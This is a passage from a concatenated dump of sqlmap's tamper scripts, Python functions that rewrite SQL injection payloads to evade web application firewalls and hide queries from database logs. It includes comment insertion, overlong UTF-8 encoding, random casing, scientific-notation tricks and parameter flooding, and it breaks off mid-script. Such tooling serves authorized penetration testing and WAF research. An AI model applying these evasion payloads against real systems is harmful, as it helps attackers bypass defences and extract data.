RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1' """ hints = kwargs.get("hints", {}) delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(500)) return payload ================================================ FILE: tamper/luanginxmore.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import random import string import os from lib.core.compat import xrange from lib.core.common import singleTimeWarnMessage from lib.core.enums import HINT from lib.core.enums import PRIORITY from lib.core.settings import DEFAULT_GET_POST_DELIMITER __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run on POST requests" % (os.path.basename(__file__).split(".")[0])) def tamper(payload, **kwargs): """ LUA-Nginx WAFs Bypass (e.g. Cloudflare) with 4.2 million parameters Reference: * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ Notes: * Lua-Nginx WAFs do not support processing of huge number of parameters """ hints = kwargs.get("hints", {}) delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(4194304)) return payload ================================================ FILE: tamper/misunion.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces instances of UNION with -.1UNION Requirement: * MySQL Notes: * Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf >>> tamper('1 UNION ALL SELECT') '1-.1UNION ALL SELECT' >>> tamper('1" UNION ALL SELECT') '1"-.1UNION ALL SELECT' """ return re.sub(r"(?i)\s+(UNION )", r"-.1\g<1>", payload) if payload else payload ================================================ FILE: tamper/modsecurityversioned.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import randomInt from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Embraces complete query with (MySQL) versioned comment Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF >>> import random >>> random.seed(0) >>> tamper('1 AND 2>1--') '1 /*!30963AND 2>1*/--' """ retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) return retVal ================================================ FILE: tamper/modsecurityzeroversioned.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Embraces complete query with (MySQL) zero-versioned comment Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF >>> tamper('1 AND 2>1--') '1 /*!00000AND 2>1*/--' """ retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix) return retVal ================================================ FILE: tamper/multiplespaces.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import random import re from lib.core.data import kb from lib.core.datatype import OrderedSet from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Adds multiple spaces (' ') around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt >>> random.seed(0) >>> tamper('1 UNION SELECT foobar') '1 UNION SELECT foobar' """ retVal = payload if payload: words = OrderedSet() for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group() if word.upper() in kb.keywords: words.add(word) for word in words: retVal = re.sub(r"(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randint(1, 4), word, ' ' * random.randint(1, 4)), retVal) retVal = re.sub(r"(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randint(1, 4), word), retVal) return retVal ================================================ FILE: tamper/ord2ascii.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces ORD() occurences with equivalent ASCII() calls Requirement: * MySQL >>> tamper("ORD('42')") "ASCII('42')" """ retVal = payload if payload: retVal = re.sub(r"(?i)\bORD\(", "ASCII(", payload) return retVal ================================================ FILE: tamper/overlongutf8.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Converts all (non-alphanum) characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. ' -> %C0%A7) Reference: * https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ * https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/ >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') 'SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 else: if payload[i] not in (string.ascii_letters + string.digits): retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) else: retVal += payload[i] i += 1 return retVal ================================================ FILE: tamper/overlongutf8more.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) Reference: * https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ * https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/ >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') '%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 else: retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) i += 1 return retVal ================================================ FILE: tamper/percentage.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import string from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0]) def tamper(payload, **kwargs): """ Adds a percentage sign ('%') infront of each character (e.g. SELECT -> %S%E%L%E%C%T) Requirement: * ASP Tested against: * Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT FIELD FROM TABLE') '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' """ if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 elif payload[i] != ' ': retVal += '%%%s' % payload[i] i += 1 else: retVal += payload[i] i += 1 return retVal ================================================ FILE: tamper/plus2concat.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.common import zeroDepthSearch from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) def tamper(payload, **kwargs): """ Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart Tested against: * Microsoft SQL Server 2012 Requirements: * Microsoft SQL Server 2012+ Notes: * Useful in case ('+') character is filtered >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') '1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe' """ retVal = payload if payload: match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) if match: part = match.group(0) chars = [char for char in part] for index in zeroDepthSearch(part, '+'): chars[index] = ',' replacement = "CONCAT(%s)" % "".join(chars) retVal = retVal.replace(part, replacement) return retVal ================================================ FILE: tamper/plus2fnconcat.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.common import zeroDepthSearch from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) def tamper(payload, **kwargs): """ Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart Tested against: * Microsoft SQL Server 2008 Requirements: * Microsoft SQL Server 2008+ Notes: * Useful in case ('+') character is filtered * https://msdn.microsoft.com/en-us/library/bb630290.aspx >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') '1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe' """ retVal = payload if payload: match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) if match: old = match.group(0) parts = [] last = 0 for index in zeroDepthSearch(old, '+'): parts.append(old[last:index].strip('+')) last = index parts.append(old[last:].strip('+')) replacement = parts[0] for i in xrange(1, len(parts)): replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i]) retVal = retVal.replace(old, replacement) return retVal ================================================ FILE: tamper/randomcase.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import randomRange from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces each keyword character with random case value (e.g. SELECT -> SEleCt) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 * SQLite 3 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases >>> import random >>> random.seed(0) >>> tamper('INSERT') 'InSeRt' >>> tamper('f()') 'f()' >>> tamper('function()') 'FuNcTiOn()' >>> tamper('SELECT id FROM `user`') 'SeLeCt id FrOm `user`' """ retVal = payload if payload: for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal): word = match.group() if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload: while True: _ = "" for i in xrange(len(word)): _ += word[i].upper() if randomRange(0, 1) else word[i].lower() if len(_) > 1 and _ not in (_.lower(), _.upper()): break retVal = retVal.replace(word, _) return retVal ================================================ FILE: tamper/randomcomments.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import randomRange from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Inserts random inline comments within SQL keywords (e.g. SELECT -> S/**/E/**/LECT) >>> import random >>> random.seed(0) >>> tamper('INSERT') 'I/**/NS/**/ERT' """ retVal = payload if payload: for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group() if len(word) < 2: continue if word.upper() in kb.keywords: _ = word[0] for i in xrange(1, len(word) - 1): _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i]) _ += word[-1] if "/**/" not in _: index = randomRange(1, len(word) - 1) _ = word[:index] + "/**/" + word[index:] retVal = retVal.replace(word, _) return retVal ================================================ FILE: tamper/schemasplit.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Splits FROM schema identifiers (e.g. 'testdb.users') with whitespace (e.g. 'testdb 9.e.users') Requirement: * MySQL Notes: * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf >>> tamper('SELECT id FROM testdb.users') 'SELECT id FROM testdb 9.e.users' """ return re.sub(r"(?i)( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload) if payload else payload ================================================ FILE: tamper/scientific.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Abuses MySQL scientific notation Requirement: * MySQL Notes: * Reference: https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/ >>> tamper('1 AND ORD(MID((CURRENT_USER()),7,1))>1') '1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1' """ if payload: payload = re.sub(r"[),.*^/|&]", r" 1.e\g<0>", payload) payload = re.sub(r"(\w+)\(", lambda match: "%s 1.e(" % match.group(1) if not re.search(r"(?i)\A(MID|CAST|FROM|COUNT)\Z", match.group(1)) else match.group(0), payload) # NOTE: MID and CAST don't work for sure return payload ================================================ FILE: tamper/sleep2getlock.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)" Requirement: * MySQL Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the SLEEP() and BENCHMARK() functions * Reference: https://zhuanlan.zhihu.com/p/35245598 >>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName True """ if payload: payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName) return payload ================================================ FILE: tamper/sp_password.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def tamper(payload, **kwargs): """ Appends (MsSQL) function 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs Requirement: * MSSQL Notes: * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure * Reference: http://websec.ca/kb/sql_injection >>> tamper('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password' """ retVal = "" if payload: retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "") return retVal ================================================ FILE: tamper/space2comment.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**/" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/**/" continue retVal += payload[i] return retVal ================================================ FILE: tamper/space2dash.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import random import string from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') Requirement: * MSSQL * SQLite Notes: * Useful to bypass several web application firewalls * Used during the ZeroNights SQL injection challenge, https://proton.onsec.ru/contest/ >>> random.seed(0) >>> tamper('1 AND 9227=9227') '1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227' """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "--%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal ================================================ FILE: tamper/space2hash.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import random import string from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') Requirement: * MySQL Tested against: * MySQL 4.0, 5.0 Notes: * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html >>> random.seed(0) >>> tamper('1 AND 9227=9227') '1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227' """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal ================================================ FILE: tamper/space2morecomment.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces (MySQL) instances of space character (' ') with comments '/**_**/' Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**_**/id/**_**/FROM/**_**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**_**/" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/**_**/" continue retVal += payload[i] return retVal ================================================ FILE: tamper/space2morehash.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import random import re import string from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') Requirement: * MySQL >= 5.1.13 Tested against: * MySQL 5.1.41 Notes: * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html >>> random.seed(0) >>> tamper('1 AND 9227=9227') '1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227' """ def process(match): word = match.group('word') randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr)) else: return match.group() retVal = "" if payload: payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, payload) for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal ================================================ FILE: tamper/space2mssqlblank.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import random from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) def tamper(payload, **kwargs): """ Replaces (MsSQL) instances of space character (' ') with a random blank character from a valid set of alternate characters Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 Notes: * Useful to bypass several web application firewalls >>> random.seed(0) >>> tamper('SELECT id FROM users') 'SELECT%0Did%0DFROM%04users' """ # ASCII table: # SOH 01 start of heading # STX 02 start of text # ETX 03 end of text # EOT 04 end of transmission # ENQ 05 enquiry # ACK 06 acknowledge # BEL 07 bell # BS 08 backspace # TAB 09 horizontal tab # LF 0A new line # VT 0B vertical TAB # FF 0C new page # CR 0D carriage return # SO 0E shift out # SI 0F shift in blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A') retVal = payload if payload: retVal = "" quote, doublequote, firstspace, end = False, False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == '#' or payload[i:i + 3] == '-- ': end = True elif payload[i] == " " and not doublequote and not quote: if end: retVal += random.choice(blanks[:-1]) else: retVal += random.choice(blanks) continue retVal += payload[i] return retVal ================================================ FILE: tamper/space2mssqlhash.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') Requirement: * MSSQL * MySQL Notes: * Useful to bypass several web application firewalls >>> tamper('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "%23%0A" elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal ================================================ FILE: tamper/space2mysqlblank.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import random from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters Requirement: * MySQL Tested against: * MySQL 5.1 Notes: * Useful to bypass several web application firewalls >>> random.seed(0) >>> tamper('SELECT id FROM users') 'SELECT%A0id%0CFROM%0Dusers' """ # ASCII table: # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return # VT 0B vertical TAB (MySQL and Microsoft SQL Server only) # A0 non-breaking space blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0') retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, 